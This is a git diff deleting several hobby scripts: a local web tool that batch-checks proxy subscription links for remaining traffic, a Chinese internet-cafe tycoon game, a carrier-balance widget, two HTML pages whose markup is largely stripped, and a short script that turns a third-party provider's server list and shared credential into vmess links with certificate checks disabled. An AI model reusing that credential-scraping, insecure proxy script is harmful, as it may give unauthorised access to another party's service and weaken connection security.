-if __name__ == "__main__": - start_server() diff --git a/script_library/scripts/ui/script_mohivn8v.html b/script_library/scripts/ui/script_mohivn8v.html deleted file mode 100644 index 3ac059b..0000000 --- a/script_library/scripts/ui/script_mohivn8v.html +++ /dev/null @@ -1,558 +0,0 @@ - - - - - - - Aetherwave 2077 - - - - - -
-
⏻ POWER ON
-

AETHERWAVE 2077 SYSTEM

-
- -
-
AETHERWAVE // 00:00
- -
- -
-
-
INITIALIZING...
-
-
-
- -
-
- -
-
- - - - - -
- -
-
87.5 MHz
- -
- -
-
-
- VOLUME -
-
-
- FINE TUNE -
-
-
- - - - diff --git a/script_library/scripts/ui/script_moiq6nby.html b/script_library/scripts/ui/script_moiq6nby.html deleted file mode 100644 index a783c6c..0000000 --- a/script_library/scripts/ui/script_moiq6nby.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - - - - - - 终极物理骰子 - PWA版 - - - - -
-
- -
推荐添加到主屏幕使用以获得全屏体验
-
-
倾斜手机 / 快速滑动屏幕摇晃 / 拖拽投掷
- - - - - - - - diff --git a/script_library/scripts/ui/subinfo_web_mnlyw592.py b/script_library/scripts/ui/subinfo_web_mnlyw592.py deleted file mode 100644 index cfa5ca4..0000000 --- a/script_library/scripts/ui/subinfo_web_mnlyw592.py +++ /dev/null @@ -1,567 +0,0 @@ -import json -import re -from datetime import datetime -from pathlib import Path -from typing import Dict, List, Optional -from urllib.parse import urlparse -from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer -from socket import error as SocketError - -import requests - - -USER_AGENT = "ClashforWindows/0.19.21" -SCHEME_PATTERN = re.compile(r"https?://", re.IGNORECASE) -URL_CHAR_PATTERN = re.compile(r"[A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%]") -TRAILING_CHARS = ",.;:!?)]}>'\",。;:!?】)〉》、" -LEADING_CHARS = "<([{\"'【(〈《" -EXPORT_DIR = Path.cwd() - - -def format_size(num_bytes: int) -> str: - negative = num_bytes < 0 - size = float(abs(num_bytes)) - units = ["B", "KB", "MB", "GB", "TB", "PB"] - for unit in units: - if size < 1024 or unit == units[-1]: - text = f"{size:.2f}{unit}" - return f"-{text}" if negative else text - size /= 1024 - return "0.00B" - - -def parse_subscription_userinfo(header_value: str) -> Dict[str, int]: - result: Dict[str, int] = {} - matches = re.findall(r"([A-Za-z]+)=(\d+)", header_value) - for key, value in matches: - result[key.lower()] = int(value) - return result - - -def format_remaining_seconds(seconds: int) -> str: - if seconds < 0: - seconds = abs(seconds) - prefix = "已过期" - else: - prefix = "距离到期还有" - - days = seconds // 86400 - hours = (seconds % 86400) // 3600 - minutes = (seconds % 3600) // 60 - secs = seconds % 60 - - if days > 0: - return f"{prefix}{days}天{hours}小时{minutes}分{secs}秒" - if hours > 0: - return f"{prefix}{hours}小时{minutes}分{secs}秒" - if minutes > 0: - return f"{prefix}{minutes}分{secs}秒" - return f"{prefix}{secs}秒" - - -def clean_candidate_url(url: str) -> str: - url = url.strip().strip(LEADING_CHARS).rstrip(TRAILING_CHARS) - while url and url[-1] in TRAILING_CHARS: - url = url[:-1] - return url - - -def looks_like_http_url(url: str) -> bool: - try: - parsed = urlparse(url) - except Exception: - return False - return parsed.scheme in {"http", "https"} and bool(parsed.netloc) - - -def extract_urls(text: str) -> List[str]: - result: List[str] = [] - seen = set() - starts = [m.start() for m in SCHEME_PATTERN.finditer(text)] - - for i, start in enumerate(starts): - next_start = starts[i + 1] if i + 1 < len(starts) else len(text) - end = start - - while end < len(text): - if end > start and end < next_start and text[end:end + 7].lower() == "http://": - break - if end > start and end < next_start and text[end:end + 8].lower() == "https://": - break - if end >= next_start: - break - if not URL_CHAR_PATTERN.match(text[end]): - break - end += 1 - - raw = text[start:end] - url = clean_candidate_url(raw) - if not url or not looks_like_http_url(url): - continue - if url not in seen: - seen.add(url) - result.append(url) - - stripped = clean_candidate_url(text.strip()) - if not result and looks_like_http_url(stripped): - result.append(stripped) - - return result - - -def export_positive_urls(urls: List[str], base_dir: Optional[Path] = None) -> Optional[Path]: - if not urls: - return None - - output_dir = Path(base_dir) if base_dir else EXPORT_DIR - output_dir.mkdir(parents=True, exist_ok=True) - file_path = output_dir / f"positive_sub_urls_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" - file_path.write_text("\n".join(urls) + "\n", encoding="utf-8") - return file_path - - -def query_sub_info(url: str, timeout: int = 12) -> Dict[str, object]: - headers = {"User-Agent": USER_AGENT} - response = requests.get(url, headers=headers, timeout=timeout) - response.raise_for_status() - - sub_header: Optional[str] = response.headers.get("Subscription-Userinfo") - if not sub_header: - raise ValueError("未获取到 Subscription-Userinfo,可能该订阅不提供流量或到期信息。") - - info = parse_subscription_userinfo(sub_header) - upload = info.get("upload", 0) - download = info.get("download", 0) - total = info.get("total", 0) - expire = info.get("expire") - - used = upload + download - remain = total - used - - result: Dict[str, object] = { - "订阅链接": url, - "总流量": format_size(total) if total else "未知", - "剩余流量": format_size(remain) if total else "未知", - "已上传": format_size(upload), - "已下载": format_size(download), - "到期时间": "未知", - "到期说明": "可能是无限期订阅,或服务端未返回 expire", - "剩余流量字节": remain, - "查询成功": True, - } - - if expire: - expire_dt = datetime.fromtimestamp(expire).astimezone() - now_ts = int(datetime.now().astimezone().timestamp()) - result["到期时间"] = expire_dt.strftime("%Y-%m-%d %H:%M:%S %Z") - result["到期说明"] = format_remaining_seconds(expire - now_ts) - - return result - - -def render_success_block(data: Dict[str, object], index: int, total_count: int) -> str: - return ( - f"[{index}/{total_count}] 查询成功\n" - f"订阅链接: {data['订阅链接']}\n" - f"总流量: {data['总流量']}\n" - f"剩余流量: {data['剩余流量']}\n" - f"已上传: {data['已上传']}\n" - f"已下载: {data['已下载']}\n" - f"到期时间: {data['到期时间']}\n" - f"说明: {data['到期说明']}\n" - ) - - -def render_error_block(url: str, error_message: str, index: int, total_count: int) -> str: - return ( - f"[{index}/{total_count}] 查询失败\n" - f"订阅链接: {url}\n" - f"错误信息: {error_message}\n" - ) - - -def run_batch_query(raw_text: str) -> Dict[str, object]: - raw_text = raw_text.strip() - if not raw_text: - return {"ok": False, "message": "请先输入或粘贴内容。"} - - urls = extract_urls(raw_text) - if not urls: - return {"ok": False, "message": "未识别到可查询的 http/https 链接。"} - - results: List[str] = [] - success_count = 0 - positive_urls: List[str] = [] - - for index, url in enumerate(urls, start=1): - try: - data = query_sub_info(url) - results.append(render_success_block(data, index, len(urls))) - success_count += 1 - remain_bytes = int(data.get("剩余流量字节", 0)) - if remain_bytes > 0 and str(data["订阅链接"]) not in positive_urls: - positive_urls.append(str(data["订阅链接"])) - except requests.HTTPError as exc: - status_code = exc.response.status_code if exc.response is not None else "未知" - results.append(render_error_block(url, f"HTTP 请求失败,状态码: {status_code}", index, len(urls))) - except requests.RequestException as exc: - results.append(render_error_block(url, f"网络请求失败: {exc}", index, len(urls))) - except Exception as exc: - results.append(render_error_block(url, f"查询失败: {exc}", index, len(urls))) - - export_text = ("\n".join(positive_urls) + "\n") if positive_urls else "" - export_path = export_positive_urls(positive_urls) - summary_lines = [ - f"共识别 {len(urls)} 个链接,成功 {success_count} 个,失败 {len(urls) - success_count} 个。", - f"剩余流量大于 0 的可用链接:{len(positive_urls)} 个。", - ] - if export_path: - summary_lines.append(f"已同时保存到脚本目录: {export_path.name}") - else: - summary_lines.append("没有可导出的可用链接。") - - summary = "\n".join(summary_lines) + f"\n{'=' * 72}\n\n" - final_text = summary + (f"\n{'-' * 72}\n\n".join(results) if results else "没有可显示的结果。\n") - return { - "ok": True, - "urls": urls, - "success_count": success_count, - "total_count": len(urls), - "positive_count": len(positive_urls), - "export_path": str(export_path) if export_path else "", - "export_name": export_path.name if export_path else "", - "export_text": export_text, - "positive_urls": positive_urls, - "text": final_text, - } - - -HTML_PAGE = """ - - - - -订阅查询工具 - - - -
-
-

订阅链接查询

支持:单链接查询、混杂文本自动提取、多链接批量查询、页面内直接导出可用链接。

-
- -
- -
- - - - -
-
就绪
-
-
自动识别 http / https
-
页面内导出 + 一键复制
-
-
- 小提示:查询完成后,可用链接会直接显示在页面下方,可一键复制。 -
-
- -
-
结果会显示在这里。
-
- -
-
可用订阅链接(剩余流量大于 0)
- -
- - -
-
还没有导出内容
-
-
- - - -""" - - -class WebHandler(BaseHTTPRequestHandler): - def _set_common_headers(self, content_type: str, content_length: int, status: int = 200, extra_headers: Optional[Dict[str, str]] = None) -> None: - self.send_response(status) - self.send_header("Content-Type", content_type) - self.send_header("Content-Length", str(content_length)) - self.send_header("Cache-Control", "no-store") - self.send_header("Access-Control-Allow-Origin", "*") - self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS") - self.send_header("Access-Control-Allow-Headers", "Content-Type") - if extra_headers: - for key, value in extra_headers.items(): - self.send_header(key, value) - self.end_headers() - - def _safe_write(self, data: bytes) -> None: - try: - self.wfile.write(data) - except (BrokenPipeError, ConnectionResetError, SocketError): - return - - def _send_json(self, payload: Dict[str, object], status: int = 200) -> None: - data = json.dumps(payload, ensure_ascii=False).encode("utf-8") - self._set_common_headers("application/json; charset=utf-8", len(data), status) - self._safe_write(data) - - def do_OPTIONS(self) -> None: - self._set_common_headers("text/plain; charset=utf-8", 0, 204) - - def do_GET(self) -> None: - if self.path == "/": - body = HTML_PAGE.encode("utf-8") - self._set_common_headers("text/html; charset=utf-8", len(body), 200) - self._safe_write(body) - return - - if self.path.startswith("/download/"): - filename = self.path.split("/download/", 1)[1] - if not filename: - self._send_json({"ok": False, "message": "文件名无效"}, status=400) - return - file_path = EXPORT_DIR / Path(filename).name - if not file_path.exists() or not file_path.is_file(): - self._send_json({"ok": False, "message": "文件不存在"}, status=404) - return - data = file_path.read_bytes() - headers = {"Content-Disposition": f'attachment; filename="{file_path.name}"'} - self._set_common_headers("text/plain; charset=utf-8", len(data), 200, headers) - self._safe_write(data) - return - - self._send_json({"ok": False, "message": "Not Found"}, status=404) - - def do_POST(self) -> None: - if self.path != "/query": - self._send_json({"ok": False, "message": "Not Found"}, status=404) - return - - try: - length = int(self.headers.get("Content-Length", "0")) - raw = self.rfile.read(length).decode("utf-8") - data = json.loads(raw) if raw else {} - text = str(data.get("text", "")) - result = run_batch_query(text) - self._send_json(result) - except Exception as exc: - self._send_json({"ok": False, "message": f"服务端处理失败: {exc}"}, status=500) - - def log_message(self, format: str, *args) -> None: - return - - -def try_open_browser(url: str) -> None: - try: - import webbrowser - webbrowser.open(url) - except Exception: - pass - - -def run_web_mode() -> None: - host = "127.0.0.1" - server = None - port = 8765 - for candidate in [8765, 8766, 8767, 8080, 8000]: - try: - server = ThreadingHTTPServer((host, candidate), WebHandler) - port = candidate - break - except OSError: - continue - - if server is None: - raise RuntimeError("无法启动本地网页服务,请检查端口占用情况。") - - url = f"http://{host}:{port}/" - print("启动成功:HTML 查询界面已就绪") - print(f"请在浏览器或应用内网页预览打开:{url}") - print("按停止运行即可结束服务。") - try_open_browser(url) - server.serve_forever() - - -if __name__ == "__main__": - run_web_mode() diff --git a/script_library/scripts/ui/ui_mnkr9090.py b/script_library/scripts/ui/ui_mnkr9090.py deleted file mode 100644 index 31ff609..0000000 --- a/script_library/scripts/ui/ui_mnkr9090.py +++ /dev/null @@ -1,577 +0,0 @@ -# 网吧模拟器 优化版 - 修复点击无反馈和逻辑问题 -import ui -import random -import json -import hashlib -import time -import dialogs -import threading - -class 网吧大亨优化版: - def __init__(self): - # 基础 - self.钱 = 800 - self.天数 = 1 - self.小时 = 10 - self.排队顾客 = 0 - self.上网价格 = 6 - self.口碑 = 100 - self.会员数 = 0 - self.今日营收 = 0 - self.天气 = ["☀️晴天", "🌧️小雨", "⛈️大雨", "❄️雪天"][random.randint(0, 3)] - - # 电脑(现在有等级) - self.电脑数量 = 6 - self.电脑等级 = 1 - self.电脑使用中 = 0 - - # 电脑必须配件(都有等级) - self.电脑桌等级 = 1 - self.主机等级 = 1 - self.显示器等级 = 1 - self.椅子等级 = 1 - self.鼠标等级 = 1 - self.键盘等级 = 1 - - # 街机 - self.街机数量 = 0 - self.街机等级 = 1 - self.街机使用中 = 0 - - # 饮料 - self.饮料库存 = 20 - self.饮料成本 = 2 - self.饮料售价 = 5 - - # 网管 - self.网管列表 = [] - self.最大网管数 = 5 - - # 顾客计时(24小时强制下机) - self.顾客上机时长 = [0] * self.电脑数量 - - # UI 引用 - self.view = None - self.status_labels = {} - self.feedback_label = None - - # ====================== 反馈系统 ====================== - def 显示反馈(self, message): - """显示操作反馈消息""" - print(f"[反馈] {message}") # 控制台输出 - - # 如果UI已创建,在界面上显示反馈 - if self.view and self.feedback_label: - self.feedback_label.text = message - # 3秒后清除反馈 - def 清除反馈(): - time.sleep(3) - if self.feedback_label: - self.feedback_label.text = "" - threading.Thread(target=清除反馈).start() - - # ====================== 时间系统 ====================== - def 时间流逝(self, sender=None): - # 电脑计时 - 下机 = 0 - for i in range(self.电脑使用中): - self.顾客上机时长[i] += 1 - if self.顾客上机时长[i] >= 24: - 下机 += 1 - - if 下机 > 0: - self.显示反馈(f"⏰ {下机}人满24小时强制下机") - # 移除已下机的顾客 - new_时长 = [] - for i in range(self.电脑使用中): - if self.顾客上机时长[i] < 24: - new_时长.append(self.顾客上机时长[i]) - self.电脑使用中 -= 下机 - self.顾客上机时长 = new_时长 + [0] * 下机 - - # 街机计时(街机每小时自动下机) - if self.街机使用中 > 0: - self.街机使用中 = max(0, self.街机使用中 - 1) - - # 时间推进 - self.小时 += 1 - if self.小时 >= 24: - self.小时 = 9 - self.天数 += 1 - self.今日营收 = 0 - self.天气 = random.choice(["☀️晴天", "🌧️小雨", "⛈️大雨", "❄️雪天"]) - self.显示反馈(f"📅 新的一天开始!今天是{self.天气}") - - # 顾客上限40 - 来客 = random.randint(1, 4) - if self.天气 == "☀️晴天": - 来客 += 2 - if self.口碑 > 120: - 来客 += 2 - self.排队顾客 = min(self.排队顾客 + max(来客, 0), 40) - - self.显示反馈(f"⏰ 时间流逝1小时,来了{来客}位顾客") - self.更新界面() - - def 快进2h(self, sender=None): - self.显示反馈("⏩ 快进2小时…") - for _ in range(2): - self.时间流逝() - - def 快进3h(self, sender=None): - self.显示反馈("⏩ 快进3小时…") - for _ in range(3): - self.时间流逝() - - # ====================== 核心收益 ====================== - def 每台电脑每小时收益(self): - 倍率 = ( - self.电脑等级 * 0.2 - + self.电脑桌等级 * 0.05 - + self.主机等级 * 0.1 - + self.显示器等级 * 0.08 - + self.椅子等级 * 0.05 - + self.鼠标等级 * 0.03 - + self.键盘等级 * 0.03 - + 1 - ) - return round(self.上网价格 * 倍率, 1) - - def 每台街机每小时收益(self): - return round(8 + self.街机等级 * 3, 1) - - # ====================== 商城 ====================== - def 打开商城(self, sender=None): - # 创建商城窗口 - shop_view = ui.View(frame=(0, 0, 400, 600)) - shop_view.name = "网吧商城" - shop_view.background_color = '#f5f5f5' - - # 标题 - title_label = ui.Label(frame=(0, 20, 400, 40)) - title_label.text = "🏬 超级商城" - title_label.font = ('', 24) - title_label.alignment = ui.ALIGN_CENTER - shop_view.add_subview(title_label) - - # 金钱显示 - money_label = ui.Label(frame=(0, 70, 400, 30)) - money_label.text = f"💰 当前金钱:{self.钱}" - money_label.font = ('', 18) - money_label.alignment = ui.ALIGN_CENTER - shop_view.add_subview(money_label) - - # 商品列表 - shop_items = [ - ("🖥️ 买电脑", f"价格:{200 + self.电脑数量*50}", "买电脑"), - ("⬆️ 电脑等级", f"等级:{self.电脑等级} 价格:{300 * self.电脑等级}", "升电脑"), - ("🪑 电脑桌", f"等级:{self.电脑桌等级} 价格:{100*self.电脑桌等级}", "升电脑桌"), - ("🖥️ 主机", f"等级:{self.主机等级} 价格:{150*self.主机等级}", "升主机"), - ("🖥️ 显示器", f"等级:{self.显示器等级} 价格:{120*self.显示器等级}", "升显示器"), - ("🪑 椅子", f"等级:{self.椅子等级} 价格:{80*self.椅子等级}", "升椅子"), - ("🖱️ 鼠标", f"等级:{self.鼠标等级} 价格:{50*self.鼠标等级}", "升鼠标"), - ("⌨️ 键盘", f"等级:{self.键盘等级} 价格:{50*self.键盘等级}", "升键盘"), - ("🎮 买街机", f"数量:{self.街机数量} 价格:{400 + self.街机数量*100}", "买街机"), - ("⬆️ 街机等级", f"等级:{self.街机等级} 价格:{250*self.街机等级}", "升街机"), - ] - - y_offset = 120 - for i, (title, desc, action) in enumerate(shop_items): - item_view = ui.View(frame=(20, y_offset, 360, 44)) - item_view.background_color = '#ffffff' - item_view.corner_radius = 10 - item_view.border_width = 1 - item_view.border_color = '#dddddd' - - title_label = ui.Label(frame=(10, 5, 200, 34)) - title_label.text = title - title_label.font = ('', 16) - item_view.add_subview(title_label) - - desc_label = ui.Label(frame=(210, 5, 100, 34)) - desc_label.text = desc - desc_label.font = ('', 12) - desc_label.text_color = '#666666' - item_view.add_subview(desc_label) - - buy_btn = ui.Button(frame=(320, 5, 30, 34)) - buy_btn.title = "✅" - buy_btn.font = ('', 16) - buy_btn.action = self.创建购买动作(action) - item_view.add_subview(buy_btn) - - shop_view.add_subview(item_view) - y_offset += 50 - - # 返回按钮 - back_btn = ui.Button(frame=(120, y_offset+20, 160, 44)) - back_btn.title = "返回主菜单" - back_btn.background_color = '#007AFF' - back_btn.title_color = 'white' - back_btn.corner_radius = 10 - back_btn.action = lambda s: shop_view.close() - shop_view.add_subview(back_btn) - - shop_view.present('sheet') - - def 创建购买动作(self, action_type): - def 购买操作(sender): - success = False - message = "" - - if action_type == "买电脑": - 价 = 200 + self.电脑数量 * 50 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑数量 += 1 - self.顾客上机时长.append(0) - message = f"✅ 购买成功!花费{价}元" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升电脑": - 价 = 300 * self.电脑等级 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑等级 += 1 - message = f"✅ 电脑升到{self.电脑等级}级!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升电脑桌": - 价 = 100 * self.电脑桌等级 - if self.钱 >= 价: - self.钱 -= 价 - self.电脑桌等级 += 1 - message = "✅ 电脑桌升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升主机": - 价 = 150 * self.主机等级 - if self.钱 >= 价: - self.钱 -= 价 - self.主机等级 += 1 - message = "✅ 主机升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升显示器": - 价 = 120 * self.显示器等级 - if self.钱 >= 价: - self.钱 -= 价 - self.显示器等级 += 1 - message = "✅ 显示器升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升椅子": - 价 = 80 * self.椅子等级 - if self.钱 >= 价: - self.钱 -= 价 - self.椅子等级 += 1 - message = "✅ 椅子升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升鼠标": - 价 = 50 * self.鼠标等级 - if self.钱 >= 价: - self.钱 -= 价 - self.鼠标等级 += 1 - message = "✅ 鼠标升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升键盘": - 价 = 50 * self.键盘等级 - if self.钱 >= 价: - self.钱 -= 价 - self.键盘等级 += 1 - message = "✅ 键盘升级成功!" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "买街机": - 价 = 400 + self.街机数量 * 100 - if self.钱 >= 价: - self.钱 -= 价 - self.街机数量 += 1 - message = "✅ 街机+1" - success = True - else: - message = "❌ 钱不够" - - elif action_type == "升街机": - 价 = 250 * self.街机等级 - if self.钱 >= 价: - self.钱 -= 价 - self.街机等级 += 1 - message = f"✅ 街机升到{self.街机等级}级" - success = True - else: - message = "❌ 钱不够" - - # 显示反馈 - self.显示反馈(message) - - # 更新界面并关闭商城 - self.更新界面() - if success: - sender.superview.superview.close() # 关闭商城窗口 - - return 购买操作 - - # ====================== 接待 ====================== - def 接待电脑(self, sender=None): - 可用 = self.电脑数量 - self.电脑使用中 - if 可用 <= 0: - self.显示反馈("❌ 没有空闲电脑") - return - if self.排队顾客 <= 0: - self.显示反馈("❌ 没有排队顾客") - return - - 接 = min(可用, self.排队顾客) - 单台 = self.每台电脑每小时收益() - 收入 = 接 * 单台 - self.钱 += 收入 - self.今日营收 += 收入 - - # 为新顾客设置上机时长 - for i in range(self.电脑使用中, self.电脑使用中 + 接): - if i < len(self.顾客上机时长): - self.顾客上机时长[i] = 0 - else: - self.顾客上机时长.append(0) - - self.电脑使用中 += 接 - self.排队顾客 -= 接 - self.口碑 = min(self.口碑 + 2, 150) - self.显示反馈(f"✅ 接待{接}位顾客,收入{收入}元") - self.更新界面() - - def 接待街机(self, sender=None): - 可用 = self.街机数量 - self.街机使用中 - if 可用 <= 0: - self.显示反馈("❌ 街机已满") - return - if self.排队顾客 <= 0: - self.显示反馈("❌ 没有排队顾客") - return - - 接 = min(可用, min(3, self.排队顾客)) # 最多3人,且不能超过排队人数 - 单台 = self.每台街机每小时收益() - 收入 = 接 * 单台 - self.钱 += 收入 - self.今日营收 += 收入 - self.街机使用中 += 接 - self.排队顾客 -= 接 - self.显示反馈(f"✅ 街机接待{接}人,收入{收入}元") - self.更新界面() - - # ====================== 存档系统 ====================== - def 生成存档码(self, sender=None): - 数据 = self.__dict__.copy() - # 移除UI引用 - if 'view' in 数据: - del 数据['view'] - if 'status_labels' in 数据: - del 数据['status_labels'] - if 'feedback_label' in 数据: - del 数据['feedback_label'] - - 字符串 = json.dumps(数据, ensure_ascii=False) - 唯一码 = hashlib.sha256((字符串 + str(time.time())).encode()).hexdigest()[:16] - - dialogs.alert("🏪 存档信息", f"✅ 存档码:{唯一码}\n\n存档数据已复制到剪贴板", "确定") - import clipboard - clipboard.set(字符串) - self.显示反馈("✅ 存档成功!") - - def 读取存档码(self, sender=None): - import clipboard - 存档数据 = clipboard.get() - if not 存档数据: - dialogs.alert("❌ 错误", "剪贴板中没有存档数据", "确定") - return - - try: - data = json.loads(存档数据) - self.__dict__.update(data) - # 重新初始化UI引用 - self.view = None - self.status_labels = {} - self.feedback_label = None - - dialogs.alert("✅ 成功", "读档成功!", "确定") - self.显示反馈("✅ 读档成功!") - self.更新界面() - except Exception as e: - dialogs.alert("❌ 失败", f"读取存档失败:{str(e)}", "确定") - self.显示反馈("❌ 读档失败") - - # ====================== UI界面 ====================== - def 创建界面(self): - # 主视图 - self.view = ui.View(frame=(0, 0, 400, 750)) - self.view.name = "🏪 网吧大亨·优化版" - self.view.background_color = '#1a1a2e' - - # 顶部标题 - title_label = ui.Label(frame=(0, 40, 400, 50)) - title_label.text = "🏪 网吧大亨·优化版" - title_label.font = ('', 24) - title_label.text_color = '#ffffff' - title_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(title_label) - - # 反馈标签 - self.feedback_label = ui.Label(frame=(20, 90, 360, 30)) - self.feedback_label.text = "欢迎来到网吧大亨!" - self.feedback_label.font = ('', 14) - self.feedback_label.text_color = '#FFD700' # 金色 - self.feedback_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(self.feedback_label) - - # 状态显示区域 - status_y = 130 - status_items = [ - ("电脑状态", f"🖥️电脑:{self.电脑使用中}/{self.电脑数量} Lv.{self.电脑等级}", "电脑状态"), - ("街机状态", f"🎮街机:{self.街机使用中}/{self.街机数量} Lv.{self.街机等级}", "街机状态"), - ("排队顾客", f"👥排队:{self.排队顾客}/40", "排队顾客"), - ("资金", f"💰钱:{self.钱}", "资金"), - ("口碑天气", f"🌟口碑:{self.口碑} {self.天气}", "口碑天气"), - ("今日营收", f"📊今日营收:{self.今日营收}", "今日营收"), - ("电脑单价", f"💸电脑单价:{self.每台电脑每小时收益()}元/时", "电脑单价"), - ("街机单价", f"🎮街机单价:{self.每台街机每小时收益()}元/时", "街机单价"), - ("配件等级", f"配件:桌{self.电脑桌等级} 主机{self.主机等级} 显示器{self.显示器等级} 椅{self.椅子等级} 鼠{self.鼠标等级} 键{self.键盘等级}", "配件等级"), - ("时间", f"📅第{self.天数}天 ⏰{self.小时}:00", "时间"), - ] - - self.status_labels = {} - for i, (title, text, key) in enumerate(status_items): - label = ui.Label(frame=(20, status_y + i*30, 360, 30)) - label.text = text - label.font = ('', 14) - label.text_color = '#e0e0e0' - label.alignment = ui.ALIGN_LEFT - self.view.add_subview(label) - self.status_labels[key] = label - - # 操作按钮区域 - buttons_y = status_y + len(status_items)*30 + 20 - - # 第一行按钮 - btn1 = ui.Button(frame=(20, buttons_y, 160, 44)) - btn1.title = "🖥️ 接待电脑" - btn1.background_color = '#4CAF50' - btn1.title_color = 'white' - btn1.corner_radius = 10 - btn1.action = self.接待电脑 - self.view.add_subview(btn1) - - btn2 = ui.Button(frame=(220, buttons_y, 160, 44)) - btn2.title = "🎮 接待街机" - btn2.background_color = '#2196F3' - btn2.title_color = 'white' - btn2.corner_radius = 10 - btn2.action = self.接待街机 - self.view.add_subview(btn2) - - # 第二行按钮 - btn3 = ui.Button(frame=(20, buttons_y + 54, 160, 44)) - btn3.title = "🏬 商城" - btn3.background_color = '#FF9800' - btn3.title_color = 'white' - btn3.corner_radius = 10 - btn3.action = self.打开商城 - self.view.add_subview(btn3) - - btn4 = ui.Button(frame=(220, buttons_y + 54, 160, 44)) - btn4.title = "⏰ 快进1h" - btn4.background_color = '#9C27B0' - btn4.title_color = 'white' - btn4.corner_radius = 10 - btn4.action = self.时间流逝 - self.view.add_subview(btn4) - - # 第三行按钮 - btn5 = ui.Button(frame=(20, buttons_y + 108, 160, 44)) - btn5.title = "⏩ 快进2h" - btn5.background_color = '#673AB7' - btn5.title_color = 'white' - btn5.corner_radius = 10 - btn5.action = self.快进2h - self.view.add_subview(btn5) - - btn6 = ui.Button(frame=(220, buttons_y + 108, 160, 44)) - btn6.title = "⏩ 快进3h" - btn6.background_color = '#3F51B5' - btn6.title_color = 'white' - btn6.corner_radius = 10 - btn6.action = self.快进3h - self.view.add_subview(btn6) - - # 第四行按钮(存档/读档) - btn7 = ui.Button(frame=(20, buttons_y + 162, 160, 44)) - btn7.title = "💾 存档" - btn7.background_color = '#009688' - btn7.title_color = 'white' - btn7.corner_radius = 10 - btn7.action = self.生成存档码 - self.view.add_subview(btn7) - - btn8 = ui.Button(frame=(220, buttons_y + 162, 160, 44)) - btn8.title = "📂 读档" - btn8.background_color = '#795548' - btn8.title_color = 'white' - btn8.corner_radius = 10 - btn8.action = self.读取存档码 - self.view.add_subview(btn8) - - # 说明标签 - info_label = ui.Label(frame=(20, buttons_y + 216, 360, 40)) - info_label.text = "💡 提示:所有操作都有反馈显示在上方" - info_label.font = ('', 12) - info_label.text_color = '#888888' - info_label.alignment = ui.ALIGN_CENTER - self.view.add_subview(info_label) - - return self.view - - def 更新界面(self): - if not self.view: - return - - # 更新所有状态标签 - self.status_labels["电脑状态"].text = f"🖥️电脑:{self.电脑使用中}/{self.电脑数量} Lv.{self.电脑等级}" - self.status_labels["街机状态"].text = f"🎮街机:{self.街机使用中}/{self.街机数量} Lv.{self.街机等级}" - self.status_labels["排队顾客"].text = f"👥排队:{self.排队顾客}/40" - self.status_labels["资金"].text = f"💰钱:{self.钱}" - self.status_labels["口碑天气"].text = f"🌟口碑:{self.口碑} {self.天气}" - self.status_labels["今日营收"].text = f"📊今日营收:{self.今日营收}" - self.status_labels["电脑单价"].text = f"💸电脑单价:{self.每台电脑每小时收益()}元/时" - self.status_labels["街机单价"].text = f"🎮街机单价:{self.每台街机每小时收益()}元/时" - self.status_labels["配件等级"].text = f"配件:桌{self.电脑桌等级} 主机{self.主机等级} 显示器{self.显示器等级} 椅{self.椅子等级} 鼠{self.鼠标等级} 键{self.键盘等级}" - self.status_labels["时间"].text = f"📅第{self.天数}天 ⏰{self.小时}:00" - - # 强制重绘 - self.view.set_needs_display() - - def 开始游戏(self): - view = self.创建界面() - view.present('sheet') - -# 启动游戏 -if __name__ == "__main__": - 游戏 = 网吧大亨优化版() - 游戏.开始游戏() \ No newline at end of file diff --git a/script_library/scripts/ui/vpn_mnqlott7.py b/script_library/scripts/ui/vpn_mnqlott7.py deleted file mode 100644 index 52874f0..0000000 --- a/script_library/scripts/ui/vpn_mnqlott7.py +++ /dev/null @@ -1,18 +0,0 @@ -import requests -import base64 -from urllib.parse import quote - -def fetch_and_generate_vmess(): - data = requests.get("https://fastconn.github.io/v/servers.json").json() - - u = data["cfgs"]["vmess"]["a"]["u"] - pt = data["cfgs"]["vmess"]["a"]["pt"] - - for item in data["l"]: - for server in item.get("servers", []) + item.get("vip-bak", []): - if server.get("ip") and server.get("city"): - vmess_b64 = base64.b64encode(f"auto:{u}@{server['ip']}:{pt}".encode()).decode() - print(f"vmess://{vmess_b64}?remarks={quote(server['city'])}&allowInsecure=1&alterId=1") - -if __name__ == "__main__": - fetch_and_generate_vmess() \ No newline at end of file diff --git a/script_library/scripts/widgets/2_0_mn37c7pr.py b/script_library/scripts/widgets/2_0_mn37c7pr.py deleted file mode 100644 index cb3ed1c..0000000 --- a/script_library/scripts/widgets/2_0_mn37c7pr.py +++ /dev/null @@ -1,100 +0,0 @@ -# 2026-3-23 by.Silence 测试设备16.2 14pm -import requests -from widget import Widget, family -from widget import SMALL, MEDIUM, LARGE, CIRCULAR, RECTANGULAR -from datetime import datetime - - -def get_unicom_data(): - url = '自行填写' - headers = { - 'Host': 'm.client.10010.com', - 'User-Agent': '自行填写', - 'Cookie': '自行填写' - } - try: - res = requests.get(url, headers=headers, timeout=5) - if res.status_code == 200: - data = res.json() - flow = data.get('flowResource', {}).get('flowPersent', '0') - fee = data.get('feeResource', {}).get('feePersent', '0') - voice = data.get('voiceResource', {}).get('voicePersent', '0') - t = data.get("flush_date_time", "").split(" ")[-1] if " " in data.get("flush_date_time", "") else "刚刚" - return True, flow, fee, voice, t - except: - pass - return False, "0", "0", "0", "--" - - -def get_date_tip(): - now = datetime.now() - week_list = ["周一", "周二", "周三", "周四", "周五", "周六", 